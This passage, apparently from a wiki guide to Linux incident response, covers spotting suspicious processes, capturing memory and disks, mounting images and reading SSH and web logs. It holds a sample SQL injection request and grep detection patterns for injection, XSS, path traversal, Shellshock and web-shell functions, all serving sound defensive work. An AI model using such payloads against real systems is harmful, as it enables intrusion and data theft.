Option names and output folders change between UAC versions, so check the current documentation before an incident, not during an incident.&lt;br /&gt;
&lt;br /&gt;
==== Reading the process list ====&lt;br /&gt;
&lt;br /&gt;
It is important to read the process tree with the parent/child relationship in mind. On Linux the tree is mainly flat and regular, so not normal things stand out:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;A web server with a shell (&amp;lt;code&amp;gt;sh&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;bash&amp;lt;/code&amp;gt;) or a download tool (&amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;) as a child&#039;&#039;&#039; is one of the most obvious indicators of a web-application compromise, because the web server has no ordinary reason to do that. In general, background services should not spawn interactive shells.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from the wrong place.&#039;&#039;&#039; System programs live under &amp;lt;code&amp;gt;/usr&amp;lt;/code&amp;gt; (and third-party software under &amp;lt;code&amp;gt;/opt&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/usr/local&amp;lt;/code&amp;gt;). A program running from &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; or someone&#039;s home directory should be scrutinized.&lt;br /&gt;
* &#039;&#039;&#039;Programs running from a deleted file.&#039;&#039;&#039; Malware can start itself and then delete its own executable, while the process keeps running. However, the file will be gone from the disk.&lt;br /&gt;
* &#039;&#039;&#039;Programs whose working directory is a hidden directory&#039;&#039;&#039; (a name starting with a dot, i.e. &amp;lt;code&amp;gt;.ssh&amp;lt;/code&amp;gt;).&lt;br /&gt;
* &#039;&#039;&#039;Orphans.&#039;&#039;&#039; When a parent process exits, its children are adopted by the init process (PID 1, usually &amp;lt;code&amp;gt;systemd&amp;lt;/code&amp;gt;), so an attacker&#039;s background job often shows a parent PID of 1. Many legitimate services look the same, so this is a reason to look, not a conclusion.&lt;br /&gt;
* &#039;&#039;&#039;Disguised names.&#039;&#039;&#039; A process can rename itself so that &amp;lt;code&amp;gt;ps&amp;lt;/code&amp;gt; shows something like &amp;lt;code&amp;gt;[kworker/3:3]&amp;lt;/code&amp;gt;, which looks like a kernel thread. Real kernel threads are children of &amp;lt;code&amp;gt;kthreadd&amp;lt;/code&amp;gt; (PID 2) and have no executable file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# programs running from a file that has since been deleted (common for malware that removes itself)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -F &#039;(deleted)&#039;&lt;br /&gt;
&lt;br /&gt;
# running programs whose executable is not under /usr, /opt or /snap (starting point, expect some noise)&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/exe&#039; 2&amp;gt;/dev/null | grep -vE -- &#039;-&amp;gt; /(usr|opt|snap)/&#039;&lt;br /&gt;
&lt;br /&gt;
# processes whose current directory is a hidden directory&lt;br /&gt;
sudo sh -c &#039;ls -l /proc/[0-9]*/cwd&#039; 2&amp;gt;/dev/null | grep -F &#039;/.&#039;&lt;br /&gt;
&lt;br /&gt;
# &amp;quot;kernel threads&amp;quot; that are not children of kthreadd (PID 2): probably impostors&lt;br /&gt;
ps -eo pid,ppid,user,cmd | awk &#039;$4 ~ /^\[/ &amp;amp;&amp;amp; $2 != 2 &amp;amp;&amp;amp; $1 != 2&#039;&lt;br /&gt;
&lt;br /&gt;
# what a suspicious process (PID 4188 here) is and where it lives&lt;br /&gt;
sudo ls -l /proc/4188/exe /proc/4188/cwd&lt;br /&gt;
sudo cat /proc/4188/cmdline | tr &#039;\0&#039; &#039; &#039;; echo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Recovering a deleted program.&#039;&#039;&#039; Because the running process still holds the file open, you can copy it out of &amp;lt;code&amp;gt;/proc&amp;lt;/code&amp;gt; before you kill the process, and then hash it and study it (or look it up):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo cp /proc/4188/exe /mnt/evidence/pid4188.bin&lt;br /&gt;
sha256sum /mnt/evidence/pid4188.bin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Also note &#039;&#039;&#039;listening&#039;&#039;&#039; ports (&amp;lt;code&amp;gt;sudo ss -tulpn&amp;lt;/code&amp;gt;) that you cannot account for. Attackers sometimes leave a listener behind as a back door, and some tools default to well-known ports such as 4444, though a careful attacker will pick something ordinary-looking.&lt;br /&gt;
&lt;br /&gt;
==== Where attackers stage files ====&lt;br /&gt;
&lt;br /&gt;
Attackers who have not (yet) gained administrator access can still write to a few places, so these are worth checking first:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt;: world-writable and the classic spot.&lt;br /&gt;
* &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt;: also world-writable, but it lives only in memory. Everything in it is lost at shutdown, which makes it attractive for files the attacker does not want found. &#039;&#039;&#039;Look in it before you power the machine off.&#039;&#039;&#039;&lt;br /&gt;
* Hidden directories (names starting with &amp;lt;code&amp;gt;.&amp;lt;/code&amp;gt;), especially ones that imitate something legitimate. For example, &amp;lt;code&amp;gt;/tmp/.ICE-unix&amp;lt;/code&amp;gt; is a normal directory on Linux desktops, so a similar-looking &amp;lt;code&amp;gt;/tmp/.ICEd-unix&amp;lt;/code&amp;gt; is designed to be overlooked. Another trick is a directory named with two dots and a trailing space (&amp;lt;code&amp;gt;.. &amp;lt;/code&amp;gt;) placed next to the real &amp;lt;code&amp;gt;..&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# hidden directories anywhere except /proc, /sys, root&#039;s home and users&#039; home directories (which have legitimate ones)&lt;br /&gt;
sudo find / \( -path /proc -o -path /sys -o -path /root -o -path &#039;/home/*&#039; \) -prune -o -type d -name &#039;.*&#039; -print 2&amp;gt;/dev/null&lt;br /&gt;
&lt;br /&gt;
sudo find /tmp /var/tmp /dev/shm -type f -ls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capturing memory ===&lt;br /&gt;
&lt;br /&gt;
Memory is the most fragile evidence and holds things that never reach disk. Historically you could copy &amp;lt;code&amp;gt;/dev/mem&amp;lt;/code&amp;gt; with &amp;lt;code&amp;gt;dd&amp;lt;/code&amp;gt;, but the kernel now restricts that, so you need tools.&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Tool !! How it works !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/microsoft/avml AVML] || Reads memory through &amp;lt;code&amp;gt;/proc/kcore&amp;lt;/code&amp;gt;. || A single program you copy to the machine. Usually the easiest choice. Writes to a file.&lt;br /&gt;
|-&lt;br /&gt;
| [https://github.com/504ensicsLabs/LiME LiME] || A kernel module you build for the machine&#039;s kernel and load || Can write straight to the network. Also works on Android.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo ./avml /mnt/evidence/memory.lime&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Writing a multi-gigabyte file onto the suspect&#039;s own disk can overwrite deleted files you might want. Write to an external or network drive if you can. AVML insists on writing a &amp;quot;file,&amp;quot; so if there is nowhere to put one you can give it a named pipe (FIFO) that forwards the data over the network as it is written:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# on the analysis machine: listen and save (netcat options differ between versions; this is the traditional form)&lt;br /&gt;
nc -l -p 9999 &amp;gt; memory.lime&lt;br /&gt;
&lt;br /&gt;
# on the suspect machine&lt;br /&gt;
mkfifo /tmp/memfifo&lt;br /&gt;
cat /tmp/memfifo | nc -w 1 ANALYSIS_MACHINE_IP 9999 &amp;amp;&lt;br /&gt;
sudo ./avml /tmp/memfifo&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Only do this over a network you trust, as netcat does not encrypt anything. Hash the memory file when it is complete. Then check that you can actually use it, becuase Linux memory analysis often fails at the first hurdle (see [[#Going deeper: memory analysis with Volatility 3|the Volatility section]]).&lt;br /&gt;
&lt;br /&gt;
=== Capturing a disk ===&lt;br /&gt;
&lt;br /&gt;
How you image a disk depends on where the machine lives. It is best to be flexible as no single method fits every single case.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public cloud:&#039;&#039;&#039; use the provider&#039;s documented forensic procedure (usually a snapshot of the volume that you attach to an analysis instance).&lt;br /&gt;
* &#039;&#039;&#039;Your own hypervisor:&#039;&#039;&#039; snapshot the virtual machine. That typically gives you a memory image as well as the disk. Convert the virtual disk to a raw image if your tools need it (&amp;lt;code&amp;gt;qemu-img convert&amp;lt;/code&amp;gt; does this).&lt;br /&gt;
* &#039;&#039;&#039;Physical disk:&#039;&#039;&#039; image the disk from a trusted boot environment (or through a hardware write blocker) with a forensic imager such as &amp;lt;code&amp;gt;ewfacquire&amp;lt;/code&amp;gt; (compressed E01 files) or &amp;lt;code&amp;gt;dc3dd&amp;lt;/code&amp;gt; (raw).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# raw image with a built-in hash and log (replace /dev/sdb with the disk being imaged)&lt;br /&gt;
sudo dc3dd if=/dev/sdb of=/mnt/evidence/disk.raw hash=sha256 log=/mnt/evidence/disk.log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Forensic imaging usually happens on machines that were not shut down cleanly (a clean shutdown usually alters the disk). As a result, the file systems in the image are often &amp;quot;dirty,&amp;quot; which matters when you mount them (below).&lt;br /&gt;
&lt;br /&gt;
== Working from a disk image ==&lt;br /&gt;
&lt;br /&gt;
Linux forensic tools generally want a &#039;&#039;&#039;raw&#039;&#039;&#039; image. Common forensic formats such as E01 must be converted or exposed as raw first. To add on to that, Linux disks are also often built in layers, and you may have to peel them back one at a time:&lt;br /&gt;
&lt;br /&gt;
# &#039;&#039;&#039;E01 container&#039;&#039;&#039; (if used): expose it as a raw disk image.&lt;br /&gt;
# &#039;&#039;&#039;Partition table:&#039;&#039;&#039; find which partitions exist and where they start.&lt;br /&gt;
# &#039;&#039;&#039;Encryption or software RAID&#039;&#039;&#039; (if used): unlock or assemble it. (Not covered.)&lt;br /&gt;
# &#039;&#039;&#039;LVM&#039;&#039;&#039; (very common): activate the logical volumes.&lt;br /&gt;
# &#039;&#039;&#039;File system:&#039;&#039;&#039; mount it read-only.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo mkdir -p /mnt/img /mnt/data&lt;br /&gt;
&lt;br /&gt;
# E01 container -&amp;gt; a virtual raw file at /mnt/img/ewf1 (read-only). Skip this if you already have a raw image.&lt;br /&gt;
sudo ewfmount Webserver.E01 /mnt/img&lt;br /&gt;
&lt;br /&gt;
# partition table to check what&#039;s inside (mmls is from The Sleuth Kit; note each partition&#039;s Start sector)&lt;br /&gt;
mmls /mnt/img/ewf1&lt;br /&gt;
&lt;br /&gt;
# attach a read-only loopback device at a partition&#039;s start (start sector x 512 bytes)&lt;br /&gt;
START_SECTOR=501760&lt;br /&gt;
sudo losetup -rf -o $((START_SECTOR*512)) /mnt/img/ewf1&lt;br /&gt;
losetup -a                       # which loop device did you get? (here: /dev/loop0)&lt;br /&gt;
file -s /dev/loop0               # confirm what is on it (for example: LVM2 PV)&lt;br /&gt;
&lt;br /&gt;
# LVM: find and activate the volume group, then list its logical volumes&lt;br /&gt;
sudo pvdisplay /dev/loop0        # note the &amp;quot;VG Name&amp;quot;&lt;br /&gt;
sudo vgscan&lt;br /&gt;
sudo vgchange -a y VOLUME_GROUP_NAME&lt;br /&gt;
sudo lvscan&lt;br /&gt;
&lt;br /&gt;
# file system: mount read-only, with no program execution allowed&lt;br /&gt;
sudo mount -o ro,noexec,noload /dev/VOLUME_GROUP_NAME/root /mnt/data&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Notes on the options:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ro&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt;: even though the layers below are already read-only, use both anyway (it&#039;s a good habit to build), and &amp;lt;code&amp;gt;noexec&amp;lt;/code&amp;gt; stops you from accidentally running malware from the image you are investigating (which would be really, really bad).&lt;br /&gt;
* &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt;: an image taken from a machine that was running is usually &amp;quot;dirty,&amp;quot; meaning the file system&#039;s journal has unfinished changes. A plain read-only mount then fails (check &amp;lt;code&amp;gt;dmesg | tail&amp;lt;/code&amp;gt;). &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; tells the ext3/ext4 driver to ignore the journal so the mount succeeds without replaying (and thus modifying) anything. The trade-off however is that the last few changes before the capture may not be visible. XFS uses &amp;lt;code&amp;gt;norecovery&amp;lt;/code&amp;gt; instead, and often also needs &amp;lt;code&amp;gt;nouuid&amp;lt;/code&amp;gt; if your workstation has a file system with the same ID.&lt;br /&gt;
* A partition that is not part of LVM (often &amp;lt;code&amp;gt;/boot&amp;lt;/code&amp;gt;) needs no LVM step: mount it straight from the image with &amp;lt;code&amp;gt;mount -o ro,noexec,loop,offset=$((START_SECTOR*512)) /mnt/img/ewf1 /mnt/data/boot&amp;lt;/code&amp;gt; (add &amp;lt;code&amp;gt;noload&amp;lt;/code&amp;gt; if it complains about the journal).&lt;br /&gt;
&lt;br /&gt;
Take the layers down in reverse order when you are done:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo umount /mnt/data&lt;br /&gt;
sudo vgchange -a n VOLUME_GROUP_NAME&lt;br /&gt;
sudo losetup -d /dev/loop0&lt;br /&gt;
sudo umount /mnt/img             # the ewfmount&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Traps when reading a mounted image:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Owner names shown by &amp;lt;code&amp;gt;ls -l&amp;lt;/code&amp;gt; come from &#039;&#039;&#039;your workstation&#039;s&#039;&#039;&#039; &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt;, not the image&#039;s, so UID 1001 might display as the wrong person. Use &amp;lt;code&amp;gt;ls -ln&amp;lt;/code&amp;gt; (numbers) or look up the IDs in the image&#039;s own &amp;lt;code&amp;gt;/mnt/data/etc/passwd&amp;lt;/code&amp;gt;.&lt;br /&gt;
* Absolute symbolic links inside the image point at your own system&#039;s files, not the image&#039;s. Check with &amp;lt;code&amp;gt;readlink&amp;lt;/code&amp;gt; instead of simply blindly trusting what a link shows you.&lt;br /&gt;
* Most tools can read a copy of a log directly: &amp;lt;code&amp;gt;last -aiF -f /mnt/data/var/log/wtmp&amp;lt;/code&amp;gt;, or &amp;lt;code&amp;gt;journalctl -D /mnt/data/var/log/journal&amp;lt;/code&amp;gt; (if the system kept a persistent journal).&lt;br /&gt;
&lt;br /&gt;
== Step 2: Find the way in ==&lt;br /&gt;
&lt;br /&gt;
=== Remote login (SSH) ===&lt;br /&gt;
&lt;br /&gt;
Password guessing against SSH is constant background noise on any internet-facing host. The question is not &amp;quot;was I attacked?&amp;quot; (you were, of course) but &amp;quot;did any guess succeed?&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# which addresses failed the most (the address is the 4th field from the end of the line)&lt;br /&gt;
sudo grep &amp;quot;Failed password&amp;quot; /var/log/auth.log | awk &#039;{print $(NF-3)}&#039; | sort | uniq -c | sort -nr | head&lt;br /&gt;
&lt;br /&gt;
# did any of them ever get in?&lt;br /&gt;
sudo grep &amp;quot;Accepted&amp;quot; /var/log/auth.log&lt;br /&gt;
&lt;br /&gt;
# every event involving one address, in order&lt;br /&gt;
sudo grep -E &amp;quot;Failed|Accepted&amp;quot; /var/log/auth.log | grep 198.51.100.7&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example output (addresses here are from the reserved documentation ranges, not real hosts):&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
Sep 10 13:58:01 web sshd[911]: Failed password for root from 198.51.100.7 port 51522 ssh2&lt;br /&gt;
Sep 10 13:58:03 web sshd[911]: Failed password for invalid user admin from 198.51.100.7 port 51530 ssh2&lt;br /&gt;
Sep 10 13:58:09 web sshd[917]: Failed password for root from 198.51.100.7 port 51544 ssh2&lt;br /&gt;
Sep 10 13:59:40 web sshd[930]: Accepted password for deploy from 198.51.100.7 port 51601 ssh2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
The pattern to worry about is &#039;&#039;&#039;many failures, then a success, from the same address&#039;&#039;&#039;, especially for an account that should never log in from that place. Confirm with the login records:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
last -aiF | head -20               # recent logins with full timestamps and source IPs&lt;br /&gt;
sudo lastb -aiF | head -20         # recent failed logins&lt;br /&gt;
lastlog | grep -v &amp;quot;Never logged in&amp;quot;&lt;br /&gt;
journalctl -u ssh --since &amp;quot;2026-09-10&amp;quot; -g &amp;quot;Accepted&amp;quot;   # the unit is &amp;quot;sshd&amp;quot; on RHEL-family systems&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Be aware that these records are easy to lose: &amp;lt;code&amp;gt;wtmp&amp;lt;/code&amp;gt; is often rotated (truncated) weekly or monthly, &amp;lt;code&amp;gt;btmp&amp;lt;/code&amp;gt; may not be kept at all because failed logins can contain mistyped passwords, and &amp;lt;code&amp;gt;lastlog&amp;lt;/code&amp;gt;&#039;s format varies between systems.&lt;br /&gt;
&lt;br /&gt;
Success by public key leaves a different line (&amp;lt;code&amp;gt;Accepted publickey for ...&amp;lt;/code&amp;gt;). If you see one for a key you do not recognize, go straight to [[#Step 4: Persistence|persistence]] and check &amp;lt;code&amp;gt;authorized_keys&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
=== Web applications ===&lt;br /&gt;
&lt;br /&gt;
Web server access logs record one line per request. In the common &amp;quot;combined&amp;quot; format the fields are: client address, timestamp, request line, status code, response size in bytes, referrer and User-Agent.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;text&amp;quot;&amp;gt;&lt;br /&gt;
198.51.100.9 - - [10/Sep/2026:14:03:01 +0000] &amp;quot;GET /item.php?id=1%27%20UNION%20SELECT%20user,pass%20FROM%20users--%20- HTTP/1.1&amp;quot; 500 1024 &amp;quot;-&amp;quot; &amp;quot;sqlmap/1.7&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Start with an overview, and then zoom in on one address:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
LOG=/var/log/apache2/access.log     # /var/log/nginx/access.log, or /var/log/httpd/access_log&lt;br /&gt;
&lt;br /&gt;
awk &#039;{print $1}&#039; $LOG | sort | uniq -c | sort -nr | head     # busiest clients&lt;br /&gt;
awk &#039;{print $9}&#039; $LOG | sort | uniq -c | sort -nr            # status code counts&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG                                   # everything one client did&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Attackers usually send their payload URL-encoded (&amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt; is &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt; is a space). Decode the lines you are reading:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
grep &#039;^198.51.100.9 &#039; $LOG | python3 -c &#039;import sys,urllib.parse as u; [print(u.unquote(l),end=&amp;quot;&amp;quot;) for l in sys.stdin]&#039;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(A plain &amp;lt;code&amp;gt;+&amp;lt;/code&amp;gt; in a query string can also mean a space; &amp;lt;code&amp;gt;unquote&amp;lt;/code&amp;gt; leaves it alone so timestamps such as &amp;lt;code&amp;gt;+0000&amp;lt;/code&amp;gt; stay readable.)&lt;br /&gt;
&lt;br /&gt;
==== What common web attacks look like in the log ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Attack !! What to look for in the request !! Notes&lt;br /&gt;
|-&lt;br /&gt;
| SQL injection || &amp;lt;code&amp;gt;&#039;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%27&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;UNION SELECT&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;OR 1=1&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt;, or an automated-tool User-Agent such as &amp;lt;code&amp;gt;sqlmap&amp;lt;/code&amp;gt; || A burst of &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; errors from one client while it probes is typical. A later run of &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; responses with unusually large sizes can mean data came back.&lt;br /&gt;
|-&lt;br /&gt;
| Cross-site scripting (XSS) || &amp;lt;code&amp;gt;&amp;amp;lt;script&amp;amp;gt;&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;%3Cscript&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;onerror=&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;javascript:&amp;lt;/code&amp;gt; || Reflected XSS shows in the URL. Stored XSS is usually submitted in a POST body, which is not logged (see below).&lt;br /&gt;
|-&lt;br /&gt;
| Path traversal / file inclusion || &amp;lt;code&amp;gt;../&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;..%2f&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%2e%2e&amp;lt;/code&amp;gt;, or a path like &amp;lt;code&amp;gt;/etc/passwd&amp;lt;/code&amp;gt; in a parameter || A &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; with a plausible response size means the file may have been returned.&lt;br /&gt;
|-&lt;br /&gt;
| Command injection || Shell metacharacters (&amp;lt;code&amp;gt;;&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;%3B&amp;lt;/code&amp;gt;, backticks, &amp;lt;code&amp;gt;$(&amp;lt;/code&amp;gt;) followed by commands like &amp;lt;code&amp;gt;wget&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;curl&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/bin/sh&amp;lt;/code&amp;gt; || Confirm with the process tree: did the web server user spawn anything?&lt;br /&gt;
|-&lt;br /&gt;
| Shellshock (CVE-2014-6271) || &amp;lt;code&amp;gt;() {&amp;lt;/code&amp;gt; at the start of a header value, usually User-Agent, against a &amp;lt;code&amp;gt;/cgi-bin/&amp;lt;/code&amp;gt; script || Old and long patched, but a good example: the attack rides in a header, not the URL.&lt;br /&gt;
|-&lt;br /&gt;
| Web shell upload || A POST to an upload form, then GET requests to a brand-new &amp;lt;code&amp;gt;.php&amp;lt;/code&amp;gt; file in the upload directory || Look for files the application should not have created.&lt;br /&gt;
|-&lt;br /&gt;
| Scanning and reconnaissance || Many &amp;lt;code&amp;gt;404&amp;lt;/code&amp;gt;s, requests for &amp;lt;code&amp;gt;/.env&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/wp-login.php&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/phpmyadmin&amp;lt;/code&amp;gt;, or scanner User-Agents || Common and usually harmless on its own; it tells you who was looking, not who got in.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# starting-point searches (expect some false positives; refine them as much as you can before you start trustung their results)&lt;br /&gt;
grep -iE &amp;quot;union.{1,10}select|sqlmap|%27&amp;quot; $LOG            # SQL injection&lt;br /&gt;
grep -iE &amp;quot;&amp;lt;script|%3Cscript|onerror=&amp;quot; $LOG               # XSS&lt;br /&gt;
grep -E &amp;quot;\.\./|%2e%2e|/etc/passwd&amp;quot; $LOG                   # path traversal&lt;br /&gt;
grep -E &#039;\(\) *\{&#039; $LOG                                   # Shellshock-style header&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Important limits of access logs.&#039;&#039;&#039; The server does not log &#039;&#039;&#039;POST bodies&#039;&#039;&#039; or, by default, most headers other than User-Agent and Referer. An injection sent by POST leaves only a bare &amp;lt;code&amp;gt;POST /login&amp;lt;/code&amp;gt; line. To see those attacks you need application logs, database query logs, or a web application firewall (for example ModSecurity) that records rejected requests. Also, a &amp;lt;code&amp;gt;200&amp;lt;/code&amp;gt; status only means the request was served, not that the attack worked, and a &amp;lt;code&amp;gt;500&amp;lt;/code&amp;gt; does not mean it failed.&lt;br /&gt;
&lt;br /&gt;
==== From a request to a compromise ====&lt;br /&gt;
&lt;br /&gt;
A logged attack request proves that someone &#039;&#039;tried&#039;&#039; to attack. To decide whether it &#039;&#039;worked&#039;&#039;, follow it into the rest of the system:&lt;br /&gt;
&lt;br /&gt;
* Did a process appear in the tree, owned by the web server user (&amp;lt;code&amp;gt;www-data&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;apache&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;nginx&amp;lt;/code&amp;gt;), just after the request timestamp?&lt;br /&gt;
* Is that process holding a network connection to an address that is not one of your users or dependencies?&lt;br /&gt;
* Are there new or modified files in the web root, &amp;lt;code&amp;gt;/tmp&amp;lt;/code&amp;gt;, &amp;lt;code&amp;gt;/var/tmp&amp;lt;/code&amp;gt; or &amp;lt;code&amp;gt;/dev/shm&amp;lt;/code&amp;gt; from about the same time?&lt;br /&gt;
* Did the same client address go on to do anything else (a second request type, a login)?&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# files in the web root changed in the last 2 days&lt;br /&gt;
sudo find /var/www -type f -mtime -2 -ls&lt;br /&gt;
&lt;br /&gt;
# PHP files that call functions commonly used by web shells (often noisy)&lt;br /&gt;
sudo grep -RIlE &amp;quot;(eval|assert|system|passthru|shell_exec|proc_open)[[:space:]]*\(&amp;quot; /var/www --include=*.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Step 3: What did they do? ==&lt;br /&gt;
&lt;br /&gt;
=== Privilege escalation and account activity ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo grep -E &amp;quot;sudo:|su\[|su:&amp;quot; /var/log/auth.log | grep -E &amp;quot;COMMAND=|session opened&amp;quot;   # who ran what as root&lt;br /&gt;
sudo grep -E &amp;quot;useradd|usermod|groupadd|passwd\[&amp;quot; /var/log/auth.log                     # account changes&lt;br /&gt;
awk -F: &#039;$3==0 {print $1}&#039; /etc/passwd            # accounts with UID 0 should be only &amp;quot;root&amp;quot;&lt;br /&gt;
sudo awk -F: &#039;$2==&amp;quot;&amp;quot; {print $1}&#039; /etc/shadow      # accounts with an empty password&lt;br /&gt;
grep -vE &#039;(nologin|false)$&#039; /etc/passwd           # accounts that can log in interactively&lt;br /&gt;
ls -l /etc/sudoers.d/; sudo grep -rvE &#039;^\s*(#|$)&#039; /etc/sudoers /etc/sudoers.d/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
